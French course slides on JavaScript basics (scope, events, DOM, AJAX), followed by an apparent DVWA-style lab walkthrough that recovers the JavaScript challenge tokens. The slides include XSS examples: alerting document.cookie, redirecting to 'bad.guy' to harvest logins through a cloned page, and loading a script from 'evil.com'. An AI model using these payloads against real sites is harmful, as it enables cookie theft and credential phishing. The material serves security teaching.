Skip to content
Snippets Groups Projects

javascript

aka ECMAScript

Javascript

  • 95 netscape livescript
  • interpréteur js propre au navigateur
    • ie s'arrête de charger la page en cas d'erreur
    • ff ou chrome essaient de continuer l'exécution
  • sensible à la casse
  • asynchrone

scope

  • var variable

    • directement dans le script
      • accessible partout y compris dans les fonctions
    • dans les fonctions
      • visibilité restreinte à la fonction
  • sans var visibilité globale

Note:

  • on peut avoir du js dans un pdf (adobe reader a donc un interpréteur js)
  • Google a mis le pied sur l'accélérateur avec la sortie de chrome
    • ca ve de mieuix en mieux en terme de comatibilité cross browser

Les événements

  • sur chaque élément

    • chaque balise
    • page
  • système d'événement

    • orienté interaction utilisateur

Les événements

  • onload

    • quand tous les éléments sont chargés
      • il est alors possible de modifier les contenus
  • onunload

    • quand on quitte le navigateur
      • abandonner car trop intrusif

Les événements

  • onerror

    • en cas d'échec
      • chargement d'image ou d'iframe par exemple
  • onsubmit

    • quand un formulaire est soumis
      • changer l'url d'un formulaire à la volée

Le DOM

document

  • Document Object Model
    • document.referer (SEO)
  • id unique getElementById
    • renvoie un résultat
  • getElementsByTagname
    • renvoie un tableau d'elements
    • la page en cours est le contexte
      • history.back() c'est un autre contexte
      • frame ...

Le DOM

  • document.cookie
    • values = document.cookie.split(';')
    • "userid=maze;expires=friday 29 sept"
  • souvent utilisé pour exploiter les XSS
    • changer le contenu de la page
    • rediriger la page
    • changer l'url d'un formulaire

vrac

window représente l'environement du navigateurs

window.alert('PoC')
// affiche PoC en pop up
console.log('plus silencieux')
// affiche "plus silencieux"
// dans la console (F12)
alert(document.cookie); 
// affiche le contenu du 
// cookie de session en pop up
window.location = "http://bad.guy"; 
// redirige vers http://bad.guy

Note:

  • redirection sur une page identique
    • maitrisée par nous qui renvoie au serveur oriignal après avoir récup le login / mot de passe

inclusion

dans le corps de la page

<script>alert('Poc');</script>

dans un fichier externe

<script src="http://evil.com/payload.js"></script>

directement dans les événements associés à un élément du DOM

<a onclick="javascipt:alert('clicked');">peacefull link</a>
<img onload="javascript:console.log('quieter');" />

AJAX / XMLHTTPRequest

  • associé au web 2.0 (2006)
  • existe depuis le début HTTP 1.0 (1989)
    • google map éléments de la carte chargés et rafraichis au déplacement
  • permet un appel asynchrone d'url
    • sans recharger la page
    • le résultat reçu est utilisable par js
      • json

un gist exemple

Apprendre JS

Faire du JS en 2023

Javascript / Low

  • analyse de la requête / formulaire

  • forcer

    token = md5(rot13("success"))
    • via la console / explorer du navigateur (F12)

Javascript / Medium

  • analyse de la requête / formulaire

    • champs hidden token
      "XX" + reverse("ChangeMe") + "XX"
  • forcer

    token = "XXsseccusXX"
    • via la console / explorer du navigateur (F12)

Javascript / High

  • analyse de la requête / formulaire
    • champs hidden token
      • interception de la requête avec burpsuite
        • la valeur soumise n'est pas celle du champs original
  • le code js est incompréhensible

Javascript / High

document
  .getElementById("phrase")
  .value = "";
token_part_1("ABCD", 44);
  • do_something(phrase);
    • inverse la phrase
      • mais elle est vide

Javascript / High

  1. token_part_2("XX") est exécutée après 300ms
document
  .getElementById("token")
  .value = sha256(
    "XX" 
    + document
        .getElementById("phrase")
        .value
  )
* c'est bien la valeur du token pour une phrase vide

Javascript / High

  1. La soumission du formulaire déclenche token_part_3("ZZ")
  • le paramètre t n'est pas utilisé
    • le jeton envoyé dans la requête est
sha256(document.getElementById("token").value + "ZZ")
sha256(
  sha256("XX" + document.getElementById("phrase").value) 
  + "ZZ"
)

Javascript / High

  • considérant qu'en 2 la phrase a été inversée
token = sha256(sha256("XX" + "sseccus") + "ZZ")
//ec7ef8687050b6fe803867ea696734c67b541dfafb286a0b1239f42ac5b0aa84
  • mais token_part_3 est toujours appelé à la soumission du formulaire
    • il faut forcer token avec
sha256("XX" + "sseccus")
//7f1bfaaf829f785ba5801d5bf68c1ecaf95ce04545462c8b8f311dfc9014068a

et bien mettre la phrase à success